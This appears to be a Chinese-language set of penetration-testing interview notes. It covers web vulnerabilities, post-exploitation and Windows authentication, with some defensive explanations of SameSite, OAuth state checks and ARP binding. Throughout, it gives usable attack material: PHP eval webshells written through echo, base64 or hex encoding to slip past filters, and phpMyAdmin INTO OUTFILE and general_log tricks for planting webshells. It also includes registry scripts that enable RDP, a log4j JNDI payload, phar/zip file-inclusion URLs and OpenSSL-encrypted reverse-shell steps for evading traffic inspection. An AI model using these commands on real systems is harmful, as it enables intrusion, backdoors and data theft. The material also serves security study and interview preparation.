tips
在头像,资料,文章编辑,附件上传等处如果过滤不严,除了文件上传漏洞也可能对方将文件名拼接在sql语句上保存在数据库导致sql注入
在php在我们知道可以用.htaccess和user.ini/php.ini来进行将文本文件当成php脚本文件执行,其实在asp,aspx.net文件下也可以利用web.config这么一个文件起到同样的作用
如果对方将文件名/文件夹名直接在参数中传递,有可能导致目录遍历,除了目录遍历,如果我们传入以恶搞不存在的路径,对方将他输出出来那么也会导致XSS
程序通过cookie和session来判断用户身份和登录时长,有些程序为了用户能够长久的登录,会将一些重要的信息直接防在cookie中,如果对方未对cookie加密,或者该加密算法易被破解,那么就可以导致越权漏洞
我们知道SSRF漏洞在实战挖掘中可能在引用外链的地方,如果对方未对协议名严格限制,那么我们就可以探测内网,其实还可能存在在头部信息里的location:https:// baidu.com这种地方
url后缀是.do 的接口地址,看到 .do 自然联想到 struts2 命令执行全家桶
密码找回功能:重置凭证接收端可篡改、重置凭证泄漏、重置凭证未校验、重置凭证可暴破、用户混淆、应答中存在影响后续逻辑的状态参数、token 可预测。
一旦进入后台,习惯上先找三类功能:上传功能、查询功能、命令功能。上传功能,通过各种任意文件上传攻击手法,上传 webshell;
查询功能,审查是否存在 SQL 注入,拿数据(如,哈希密码);
命令功能,指那些有著名工具实现的功能,比如,输入个 IP,业务功能探测该 IP 是否存活,服务端可能执行了 ping 命令,又如,上传个压缩包,页面显示压缩包内容,服务端可能执行了 unzip 命令,这时,用命令注入或命令选项注入的手法,攻击服务端。
任意文件上传攻击应关注四个要素:找寻文件路径、指定文件扩展名、写入脚本代码、防 WAF 拦截
在碰见如下场景
参数 email 存在不安全的直接对象引用(IDOR)问题,将其替换为攻击者的邮箱,90% 的概率会收到重置邮件
- 不同类型的文件都有对应的文件类型签名(也叫类型幻数,简称文件头),比如,PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A、GIF 为 47 49 46 38 37 61、JPG 为 FF D8 FF E0。
- webshell 虽然赋予执行命令、管理文件的能力,但毕竟不是真正的 shell,无法执行交互式命令、无法控制进程状态、无法补全命令等等,非常不利于提权操作,所以,必须反弹 shell
- 当我们要验证无法反弹shell是不是因为出口流量的问题,可以采用ICMP协议,在服务端执行
ping -s64 -c1 124.70.20.10 # 这里-s64代表发送64kb的包
第二步:在VPS上监听ICMP流量,
tcpdump -i eth0 -n -v icmp | grep -i 'length 92'
- 验证是否限定向外访问端口分为黑名单和白名单:
黑名单,比如,禁止目标机器向外访问 MSF 默认的 4444 端口
白名单,比如,只允许向外访问 web 常见的 80 端口,注意下,攻击端即便监听的 80 端口,getshell 的流量采用的也并非 HTTP 协议,而是普通的 socket,切勿与 HTTP 隧道 getshell 混淆。端口白名单通常只允许向外访问 HTTP 服务的默认 80、HTTPS 服务的默认 443
- 验证是否存在流量审查
流量审查,审查设备必定得到明文流量数据才行,要防审查自然想到加密流量。所以,我不再简单地用 bash 来反弹 shell,而在此基础上,将原始流量用 openssl 加密,这样就能达到防流量审查的目的
openssl req -x509 -newkey rsa:4096 keyout key.pem -out cert.pem -days 365 -no des
openssl s_server -quiet -key key.pem cert.pem port 443
哑 shell,并非交互式 shell:防止 ctrl-c 中断 getshell 会话、无法查看语法高亮、无法执行交互式命令、无法查看错误输出、无法使用 tab 命令补全、无法操控 job、无法查看命令历史
第一步,在哑 shell 中执行:
$ python -c 'import pty; pty.spawn("/bin/bash")'
键入 Ctrl-Z,回到 VPS 的命令行中;第二步,在 VPS 中执行:
$ stty raw -echo $ fg
回到哑 shell 中;第三步,在哑 shell 中键入 Ctrl-l,执行:
$ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows 54 columns 104
curl
在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。
语法:# curl [option] [url]
比如 curl http://gitbook.batmanfuture.com:80
冷知识
弹计算器:比如,我们在windows下成功提权,那么是可以弹出计算器的
dnslog:当我们拿到一个交互式的shell(可实现命令执行),那么我们会让它ping下我们的dnslog,以此确保成功命令执行
phpinfo你会关注哪些信息
1.相关php的函数,可以判断出例如disable_function是否被禁用
2.绝对路径
3.泄露真实ip(cdn绕过),c段,旁站
4.gopher协议
5.fastcgi,解析漏洞,代码执行
6.泄漏缓存文件地址
7.一些敏感配置
比如allow_url_include可用来远程文件包含、disable_functions用来查看禁用函数,绕过执行、查看是否开启open_basedir,用p牛的绕过open_basedir的方法有可能能读一些没权限的目录等等
输出到href的XSS如何防御
对href标签做防护,仅靠htmlspecialchars()是不够的,还需要做过滤,在输入的时候只允许HTTP和HTTPS开头的协议
samesite防御CSRF的原理
SameSite有三个属性Lax, Strict, None
Lax:b站上通过超链接访问a站,会携带a站cookie。b站通过img标签等跨越请求a站时,不会携带cookie,设置的cookie也不会起作用
Strict:b站上通过超链接访问a站,不会携带a站cookie。b站通过img标签等跨域请求a站时,不会携带cookie,设置的cookie也不会起作用
None:b站上通过超链接访问a站,会携带a站cookie。b站通过img标签等跨域请求a站时,会携带cookie,设置的cookie起作用
Firefox v83默认SameSite=None,SameSite=None时,还必须加上Secure属性cookie才会被浏览器接受
Chrome v87默认SameSite=Lax,该配置对CSRF有相当大的防御力
对CSRF漏洞的影响
1、get类型的csrf漏洞,原本可以通过img/script等标签完成攻击,但由于SameSite=Lax属性,攻击无法生效,只能通过访问超链接方式攻击
2、post类型的csrf漏洞,ajax可以完成content-type为application/x-www-form-urlencoded的csrf攻击,form表单(target=subiframe,隐藏iframe)也可以完成攻击。由于SameSite=Lax属性,只有通过form表单提交到新页面完成攻击
浏览器解析顺序和解码顺序
url
我们先传入 ?/input=input=%26lt%5cu4e00%26gt 时先进行了一次url解析,变成了<\u4e00>
html
紧接着进行html解析,变成 <\u4e00>
js
再之后js解析,得到<->
sql注入过滤逗号
1.盲注:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替
2.
使用join:
union select 1,2 = union select * from (select 1)a join(select 2)b
3.
使用like:select ascii(mid(user(),1,1)) = 80
=
select user() like 'r%'
log4j2漏洞
Apache Log4j2是一个开源的日志记录组件
利用了Log4j2可以对日志中的“${}”进行解析执行
利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码
"${jndi:rmi://127.0.0.1:1099/hack}"
什么是webpack
Webpack 是一个前端资源加载/打包工具。它将根据模块的依赖关系进行静态分析,然后将这些模块按照指定的规则生成对应的静态资源。
可以将多种静态资源 js、css、less 转换成一个静态文件,减少了页面的请求。
它的存在依赖于node.js
用大白话说,它包揽了其它静态文件的活,我们可以从中找一下敏感数据或是接口
在webpack中,可以寻找接口,接口中需要拼接的参数可以在webpack文件中,或者请求包和返回包里寻找,在用到http/https协议时,比如我们上传了图片后,请求包内含有协议,那么我们可以考虑是否存在SSRF漏洞,这里只要把该协议换成自己的dnslog网站即可,判断是否访问成功
PHP伪协议的攻击场景有哪些
CSRF
一些开发人员在防御csrf的攻击时,仅判断referer是否为来源域名,没有考虑referer为空的情况。利用data伪协议可以将referer置为空,绕过csrf的防御
存在判定referer的表单进行BASE64编码,保存 data.html
当我们访问data.html,发现请求dvwa请求中referer为空,并且成功执行了csrf攻击,如下图
XXE
多数时候我们遇到的xxe都是无回显的,当我们想读取目标主机上的文件时,需要使用外带的方式,先让目标主机请求攻击者的服务器,而后再从攻击者的服务器上提取目标文件的内容。
但是,由于文件内容中经常包含空格、换行等特殊字符,常没法直接外带成功,使用php://filter协议将文件内容进行base64编码,绕过特殊字符的限制。
文本包含
- php://input post传
- phar://
phar://协议(用来将多个PHP文件打包为一个文件.可以和tar zip相互转化)可以解压文件并将文件中内容作为PHP执行代码
新建一个test.txt,其内容为<?php phpinfo();?>
压缩成test.zip,并重命名为test.jpg
将test.jpg上传到目标服务器上,再通过url访问**即可实现代码执行**
(phar://绝对路径或相对路径/子文件名)
1. http://192.168.2.79/dvwa/vulnerabilities/fi/?page=phar://D:/phpStudy/WWW/dvwa/hackable/uploads/test.jpg/test.txt #绝对路径访问2. http://192.168.2.79/dvwa/vulnerabilities/fi/?page=phar://../../hackable/uploads/test.jpg/test.txt #相对路径访问
- zip://
与phar协议类似,需要注意的是zip://协议仅支持文件的绝对路径,同时需要将#编码为%23(zip://绝对路径#子文件名)
1. http://192.168.2.79/dvwa/vulnerabilities/fi/?page=zip://D:/phpStudy/WWW/dvwa/hackable/uploads/test.jpg%23test.tx
已知某网站存在LFI(本地文件包含),但是无法上传任何文件,针对该情况有哪些利用方式
查看敏感文件,如/etc/passwd
爆破目录,用伪协议去读源码
包含本地日志文件getshell,如ssh登录日志
各种系统入侵开启3389的方法
1.windowsXP,2003下开启3389的方法
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D
2.windows2000下开启3389的方法
Windows Registry Editor Version 5.00 >>3389.reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
"Enabled"="0" >>3389.reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
"ShutdownWithoutLogon"="0" >>3389.reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
"EnableAdminTSRemote"=dword:00000001 >>3389.reg
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
"TSEnabled"=dword:00000001 >>3389.reg
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
"Start"=dword:00000002 >>3389.reg
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
"Start"=dword:00000002 >>3389.reg
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
"Hotkey"="1" >>3389.reg
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
"PortNumber"=dword:00000D3D >>3389.reg
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
"PortNumber"=dword:00000D3D >>3389.reg
文件上传中%00截断的原理是什么,利用前提条件是什么
php是用c语言编写的,c语言中%00就是结束标志
//前提
1. php版本小于5.3.4
2. php的magic\_quotes\_gpc为OFF状态
如何绕过php.ini
中disable_function
的限制,有哪些方法,其中成功率最高的方法是哪个,为什么
六种
https://www.cnblogs.com/zw1sh/p/12632126.html
1.apache mod_cgi
这里需要用到.htaccess和mod_cgi
1).htaccess
2)mod_cgi
在非线程型MPM(prefork)上提供对CGI脚本执行的支持
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中
利用条件:
第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件
.htaccess内容:
Options +ExecCGI
AddHandler cgi-script .zwi #这里的.zwi是我构造的,表示.zwi后缀的文件都会被当作cgi脚本执行
shell.zwi
#!/bin/sh
echo&&cd "/var/www/html";ls -al;echo [S];pwd;echo [E]
实现一个一句话webshell,绕过RASP的方式有哪些,绕过机器学习检测的方式有哪些,绕过AST-Tree的方式有哪些
传统的WAF主要通过分析流量中的特征过滤攻击请求,并拦截携带有攻击特征的请求,WAF严重依赖于特征库,各种花式绕过,导致特征编写很难以不变应万变。
RASP不但能够对应用进行基础安全防护,由于一些攻击造成的应用程序调用栈调用栈具有相似性,还能够对0day进行一定的防护。RASP的不同就在于运行在应用之中,与应用融为一体,可以获取到应用运行时的上下文,根据运行时上下文或者敏感操作,对攻击进行精准的识别或拦截。于此同时,由于RASP运行在应用之中,只要检测点选取合理,获取到的payload已经是解码过的真实payload,可以减少由于WAF规则的不完善导致的漏报。
缺陷:性能消耗
rasp这类工具是基于java、php运行期的堆栈信息进行分析,可以尝试使用jni技术进行绕过。java技术栈中的jni的原理是使用java调用c、c++函数,具体实现的思路是jsp编译为class文件,该class通过jni技术调用另外一处dll里的函数绕过黑名单执行命令获取回显,即可实现rasp和安全防护软件的绕过。github地址:https://github.com/nanolikeyou/jniwebshell
PHP中如何使用phar://
伪协议触发反序列化,利用场景以及前提条件有哪些
https://blog.csdn.net/weixin_39785150/article/details/111671172
phar文件会以序列化的形式存储用户自定义的meta-data;该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作
phar的组成
由四部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)
stub
标识作用,格式为xxx<?php xxx; HALT_COMPILER();?>,前面任意,但是一定要以HALT_COMPILER();?>结尾,否则php无法识别这是一个phar文件;
manifest describing the contents
可以理解为phar文件本质上是一中压缩文件,其中包含有压缩信息和权限,当然我们需要利用的序列化也在里面
the file contents
这里指的是被压缩文件的内容;
[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在结尾;
生成,放在php下运行
```php<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();?>
那么既然有序列化,那么就一定有反序列化,php的很多文件系统函数在通过phar://伪协议解析phar文件的时候。都会将mate-data进行反序列化
注意到第一个部分stub;因为这个部分的存在,纵然我们修改了phar后缀,服务器读取到stub的时候依然会当作phar文件
#### 简述一下SSRF的绕过手法
ssrf文章有记载,除了其他协议之外,[::],@,。句号,短地址,特殊域名,dns解析,利用Enclosed alphanumerics(这个和unicode安全很像),进制转换
#### 简述一下SSRF中DNSRebind的绕过原理及修复方法
在防ssrf时,通常操作是对输入的内容提取host,然后第一个dns解析得到ip地址,判断是不是合法地址,是不是公网地址,如果是合法的,那么用curl发包。
这里涉及到两次解析,第一次是域名到ip判断是否为公网地址,第二次是curl发包需要解析
如果我们可以让第一次是公网地址,第二次实际发包请求内网地址,那么攻击就达到了,这就是DNSRebind攻击
首先我们需要一个域名比如example.com,还需要一个自搭的dns服务器,将该域名绑定两个ip地址,一个是公网地址,一个是内网地址,并且设置这两个的ttl值都是0,这样就不会让其他dns服务器缓存了。
一般PHP在获取IP的时候通常是使用gethostname或者dns_get_record这俩函数,gethostname函数获取ip是这两个之间随机获取,但是如果我们设置第一个ip地址的80端口关闭,第二个ip地址80端口开启,那么在curl时该函数会获取第二个ip地址,如果SSRF过滤逻辑使用的是gethostname或者只获取了dns_get_record返回数组的第一个元素,那么就会存在被绕过的风险
#### oauth认证过程中可能会出现什么问题,导致什么样的漏洞
https://www.cnblogs.com/hellowhy/p/15533625.html
建议看看这篇文章,以及其他系列,写的真好
##### 针对客户端的CSRF攻击
[](https://imgtu.com/i/7K9wqJ)
简单来说就是攻击者和受害者都注册了账号,攻击者请求资源,得到了自己的授权码,受害者请求资源得到了自己的授权码,攻击者利用自己的授权码构造请求令牌的url,诱导受害者点击,点击后攻击者成功拿到了受害者的令牌,从而可以利用受害者的令牌去请求信息
这里强调,授权服务器不会区分授权码是哪个用户的请求,因为请求都来自客户端而非用户
**防御**:客户端就要想办法在请求令牌之前检查这个授权码是否是这个用户完成授权之后授权服务器返回的,方法就是提到的**state**参数,使用这个参数,它可以防止CSRF跨站请求伪造,授权服务器完成用户的认证授权后,回传state和授权码,客户端接收到回调请求后,需要校验是否有state参数,以及state是否是当前用户的上下文,如果不是则直接报错
##### 客户端重定向URI注册
主要有以下两种:授权码失窃和令牌失窃
###### 授权码失窃
[](https://imgtu.com/i/7K2SfK)
首先要保证你能够在该网站下能够写入前端代码,且写完后能被其他人访问(有人问了,这样不就写入存储xss了吗?emmm...我们假设对方有waf对存储xss拦截了),攻击者伪造一个授权请求的链接,重定向指定自己设置的重定向页面(该页面包含自己写入的前端代码),用户点击后,请求授权,授权成功后重定向到自己的页面,而该页面前端代码会获取请求来的referer的授权码
##### 令牌失窃
令牌失窃和授权码失窃的攻击原理是相同的,都是利用客户端不规则的重定向地址和授权服务器的允许子目录校验,只不过令牌失窃是针对隐式许可类型的,而且要求客户端支持开放重定向功能,这里介绍以下开放重定向
###### 开放重定向
比如我们在上知乎和csdn时,如果点击某链接跳转到其他网站,中间会有提示“您正在请求该网站,请注意安全”这种,试想一下,如果他们没有这句,当别人给你发了一个某著名网站的url,点击后跳转到攻击者链接,那么你由于信任该著名网站就会中招,那么可以导致以下攻击方式:
网络钓鱼:利用该url重定向到伪造的长得很像著名网站的钓鱼网站
XSS:如果重定向允许使用 *data:*或 *javascript:*协议,并且客户端在重定向中支持此类协议,则攻击者可以执行 XSS 攻击
内容安全策略绕过:如果使用 CSP 防御 XSS,并且列入白名单的域之一具有开放重定向,则可以使用此漏洞绕过 CSP
CRLF 注入:如果重定向参数允许换行,攻击者可能会尝试执行响应头拆分
------
[](https://imgtu.com/i/7KWidA)
这里就是攻击者在授权请求页面url重定向时,比如https://example.com/callback?url=https://attack.com/,用户点击之后向授权服务器请求,授权服务器返回https://example.com/callback?url=https://attack.com/#token=xxx,这样重定向之后我们就能获得token令牌了。
防御:使用state参数,确保授权码和授权请求是由同一个用户发起的;注册redirect_uri时应该尽可能地具体;尽量避免以URI参数形式传递访问令牌
##### XSS攻击
如果攻击者使用的是一个非法的令牌,在拦截器中校验失败,即便获取资源接口本身支持参数,也无法利用该漏洞实现XSS攻击;但是如果令牌支持参数传递,则请求会直接怼到获取资源的方法上,比如像下面这样发起请求
```http
https://resourceendpoint.com/getResourceInfo?accessToken=fdeggfdafgggfzd&name=<script>alert("XSS")</script>
防御:
- 转义所有不可信的数据,使用URI编码
- 资源服务器增加响应头Content-Type,让受保护资源返回正确的媒体类型,比如application/json,这样返回的类型就是json,会拒绝执行JavaScript中的代码
- 资源服务器增加响应头X-Content-Type-Options: nosniff,它的作用是防止在没有声明Content-Type头的情况下执行MIME嗅探
- 资源服务器不允许通过查询参数传递access_token
- 资源服务器增加响应头Content-Security-Policy,采用内容安全策略(content security policy,CSP),通过使用头来声明允许加载什么资源,以此降低XSS风险
Win7和win10的hash区别?
win2012及以上的一些高系统版本是默认关闭wdigest,无法抓到明文
shiro反序列化
一句话总结:shiro-550就是利用在登录后cookie中remember me中那一串其实就是先序列化+des加密+base64加密,des加密的key我们需要用默认值爆破尝试,之后直接伪造cookie实现反弹shell(不回显);还有一个是shrio-721,也是同理,可以用ping下dnslog.cn或者知道创宇的ceye.io判断是否出网,出网就反弹shell,不出网就找到指定web目录下写入webshell,直接用那个shiro-exploit
文件下载漏洞如何利用?
inurl:"readfile.php?file=" //谷歌语法找漏洞
• download.php?path=
• download.php?file=
• down.php?file=
• data.php?file=
• readfile.php?file=
• read.php?filename=
下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置,下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
命令执行写webshell?
寻找web路径
1.文件查找法
一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。可以根据已知页面文件名全局搜索
linux:
find / -name index.php
find / -name index.*
windows:
for /r d:/ %i in (index.html) do @echo %i
for /r d:/ %i in (index.*) do @echo %i
2.源码查找法
linux:
find / -name "*.*" | xargs grep "PHP installed properly"
find /var/www/ -name "*.php" | xargs grep "doServerTest()"
windows:
findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
findstr /s/i/n /d:C:\windows\ /c:"success" *.*
3.history等
history | grep nginx
history | grep tomcat
history | grep http
写入webshell
确认寻找到的路径有写入权限之后,就可以开始写webshell了
1.echo直接写入
echo '<?php eval($_POST[1]); ?>' > 1.php
2.base64写入
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
3.绕过重定向符
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh
重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行,此外还有就是命令执行时ctf中喜欢考察过滤替代
4.hex写入
echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php
XSS弹窗的函数?
confirm()、prompt()、alert()
phpmyadmin写入webshell
首先要进入后台,可以通过扫源码配置文件,弱口令,暴力破解,未授权,进入后有三种方法拿shell
正常写,select xxx into outfile/into dumpfile xxx
sql写文件具备三个条件:1.secure_file_priv不能是具体的值,2.用户具备写的权限,3.路径和web导出路径重合或者有文件包含可以访问到
我们首先输入SHOW VARIABLES LIKE "secure_file_priv"
,查看该值是否不为具体的值(空)
发现可以,然后尝试写入/www目录下,但是失败,尝试写入/tmp下,/tmp是默认可写目录
SELECT "<?php eval(@$_POST['123']); ?>" INTO OUTFILE '/tmp/1.php'
利用文件包含漏洞,成功getshell
创建库和表写入webshell
记得先use mysql; 选择数据库
CREATE TABLE test( id text(500) not null);
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
SELECT id FROM test INTO OUTFILE '/tmp/123.php';
---------------------------------------------
DROP TABLE IF EXISTS test;
然后文件包含直接连就可以了
全局日志写入(网站目录有写入权限)
1.查看日志是否开启
show variables like '%general%';
2.开启日志记录
SET GLOBAL general_log='on';
3.修复日志文件路径
set global general_log_file='D:\\phpStudy\\WWW\\shell.php';
4.写入webshell
select "<?php eval($_POST['gg']);?>";
这里我在linux,文件包含,www目录下不可写的条件下写入失败了
//这里shell的路径可以通过phpinfo页面拿到绝对路径,或者@@datadir
命令执行不回显怎么办
dnslog注入;结果写入到文件里,copy文件过来;
如果sql注入中,对面无回显,无报错,并且有waf,那么如果注入呢?dnslog注入
利用load_file(xxx)读一个unc路径,是一个dnslog地址,在查询时会先本地查询,然后再发送到dns查询,可以用来带外查询,dnslog注入也可以配合命令执行不回显进行查询
http/https的实现原理
http三次握手
简述:服务器发送syn包,客户端接收发送syn/ack包,服务器接收,发送ack包
https
浏览器发送请求(包含自己的SSL版本,可接受的加密算法和哈希算法);服务器接收,确认加密算法和哈希算法,返回数字证书({签名[公钥+hash],明文,公钥}这些再进行ca的私钥);浏览器校验证书的合法性(TLS完成),通过后产生随机密钥R,再用证书中的公钥加密R,发送给服务器;服务器用私钥解密,获取R,以后使用R加密网页内容。
https加密方式推测:
- 如果浏览器和服务器采用对称加密,所有的信息采用单一的一种加密方式是可以被推测出利用的,比如某大学数据包发送时密码采用了两次base64编码
- 如果采用非对称加密,可以向服务器发送请求拿到公钥
- 如果是简单的对称加密和非对称加密,那么黑客充当中间人可以截获
- 所以需要一个CA,充当中介,采用如上方法,CA被写死在客户端本地
3389无法连接几种情况
- rdp远程桌面没开
- 端口改了
- 防护拦截,比如华为云/阿里云/宝塔限制从外接入的端口或者是IP的黑白名单
- 处于内网,要端口转发
ARP欺骗原理以及防护
原理:当局域网内主机要和其他主机通信或者出网时,先会向广播地址(比如192.168.0.155)发送arp请求(绑定IP和mac地址),当有人应答时,不会验证自己是否向对方发送过请求就保存在自己的arp表中,把它当作是自己的通信目标。
攻击:在广播时,首先承认自己是对方通信主机,发送ip地址和伪造的mac地址,而如果自己继续向真正的通信主机再发送请求那么就是arp中间人攻击。
防护:
- 在主机绑定网关mac和ip地址为静态(默认是动态),arp -s ip mac
- 在网关绑定主机mac和ip地址
- arp防火墙
这里也可以拓展下dhcp攻击,原理就是伪造mac地址,耗尽对方hdcp地址池里的ip,实现断网
ddos分为几种,原理分别是什么,如何防御
OSI 模型是一个概念框架,用于描述 7 个不同层级的网络连接
应用层
http flood(CC攻击)
发送大量正常的访问请求消耗对方资源
DNS flood
DNS flood攻击的是dns服务器,让其他人无法使用dns服务器
DNS放大
将有欺骗性 IP 地址的 UDP 数据包发送到 DNS 递归服务器。数据包上的地址指向受害者的IP 地址。
传输层
SYN flood
利用 TCP 握手,通过向目标发送大量带有伪造源 IP 地址的 TCP“初始连接请求”SYN 数据包来实现。
ACK flood
和syn差不多
UDP Flood
攻击者通过僵尸网络向目标服务器发起大量的UDP报文,这种UDP报文通常为大包,且速率非常快,通常会造成以下危害。从而造成服务器资源耗尽,无法响应正常的请求,严重时会导致链路拥塞。
NTP Flood
网络层
ICMP Flood
就是正常的ping对方服务器,比拼带宽和吞吐量,早期的死亡之ping
同源策略是什么
保证域名,子域名,端口,ip,协议一致
TCP三次握手过程以及状态转换
看计算机网络文章
TCP和UDP协议的区别
tcp面向连接,udp面向报文
tcp对系统资源要求多,udp结构简单
tcp保证数据完整性和顺序,udp不保证
多线程和多进程区别
1、线程是进程的子集,一个进程可能由多个线程组成;2、多进程的数据是分开的,共享复杂,需要用IPC,但同步简单;3、多线程共享进程数据,共享简单,但同步复杂。
NTLM(2)和Kerberos安全认证原理
之前还有LM hash
NTLM hash:密码-16进制-Unicode编码-MD4 生成32位
winlogon.exe用于管理用于登录和退出
lsass.exe用于本地安全和登录策略
NTLM2区别体现在challenge的加密算法,前者challenge是8位,NTLM2的challenge是16位,前者主要是DES,后者是HMAC-MD5
哈希传递
需要被传递认证的用户名,需要被传递认证用户的NTLM hash
原理分析:
其实先发送user,接收challenge之后使用NTLM hash对他加密再发送回去
伪造工具:CrackMapExec,smbexec
介绍:https://www.freebuf.com/sectool/184573.html
Windows认证协议有两种NTLM(NT LAN Manager)和Kerberos,前者主要应用于用于Windows NT 和 Windows 2000 Server(or Later) 工作组环境,而后者则主要应用于Windows 2000 Server(or Later) 域(Domain)环境。
https://www.cnblogs.com/artech/archive/2011/01/25/NTLM.html
https://www.cnblogs.com/artech/archive/2011/01/24/kerberos.html
Windows安全认证有两种方式:Kerberos和NTLM。Kerberos是首选的认证方式,该方式用在域环境下,NTLM使用在Windows NT和Windows 2000 Server(or later)工作组环境中
NTLM
NTLM采用质询/应答(Challenge/Response)消息交换模式
步骤一
用户通过输入Windows帐号和密码登录客户端主机。在登录之前,客户端会缓存输入密码的哈希值,原始密码会被丢弃(“原始密码在任何情况下都不能被缓存”,这是一条基本的安全准则)。成功登录客户端Windows的用户如果试图访问服务器资源,需要向对方发送一个请求。该请求中包含一个以明文表示的用户名。
步骤二
服务器接收到请求后,生成一个16位的随机数。这个随机数被称为Challenge或者Nonce。服务器在将该Challenge发送给客户端之前,该Challenge会先被保存起来。Challenge是以明文的形式发送的。
步骤三
客户端在接收到服务器发回的Challenge后,用在步骤一中保存的密码哈希值对其加密,然后再将加密后的Challenge发送给服务器。
步骤四
服务器接收到客户端发送回来的加密后的Challenge后,会向DC(Domain)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名;客户端密码哈希值加密的Challenge和原始的Challenge。
步骤五、六
DC根据用户名获取该帐号的密码哈希值,对原始的Challenge进行加密。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器,并最终反馈给客户端。
Kerberos
- Client向KDC发起AS_REQ请求内容为通过Client密码Hash 加密的时间戳、ClientID、网络地址、加密类型等内容
- KDC使用Client hash进行解密,并在ntds.dit(只有域控中才有的数据库)中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PAC(Privilege Attribute Certificate,不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式),PAC包含Client的sid,Client所在的组
- Client(客户端)凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
- KDC使用krbtgt NTLM-hash进行解密,如果结果正确,就返回用服务NTLM-hash 加密的TGS票据,并带上PAC返回给Client(客户端),这一步不管用户有没有访问服务的权限,只要TGT(认证票据)正确,就返回TGS票据
- 此时client拿着KDC给的TGS票据去请求服务
- 服务端使用自己的NTLM-hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
打个比方,整个过程就是:你想坐飞机,但是机场告诉你必须有机票(TGT)才可以登机,接着你去购票处(AS)出示身份证(Client name)购买了一张机票(TGT),你拿着机票登机,在检票处(TGS)出示机票,服务人员告诉了你的座位号(Ticket),然后就可以坐到自己的位置上。
https://www.136.la/jingpin/show-157277.html
整个认证过程涉及到三方:客户端、服务端和KDC(Key Distribution Center)。在Windows域环境中,KDC的角色由DC(Domain Controller)来担当。
某个用户采用某个域帐号登录到某台主机,并远程访问处于相同域中另一台主机时,如何对访问者和被访问者进行身份验证
Kerberos实际上是一种基于票据(Ticket)的认证方式。客户端要访问服务器的资源,需要首先购买服务端认可的票据。也就是说,客户端在访问服务器之前需要预先买好票,等待服务验票之后才能入场。在这之前,客户端需要先买票,但是这张票不能直接购买,需要一张认购权证。客户端在买票之前需要预先获得一张认购权证。这张认购权证和进入服务器的入场券均有KDC发售。
如何获得“认购权证”?
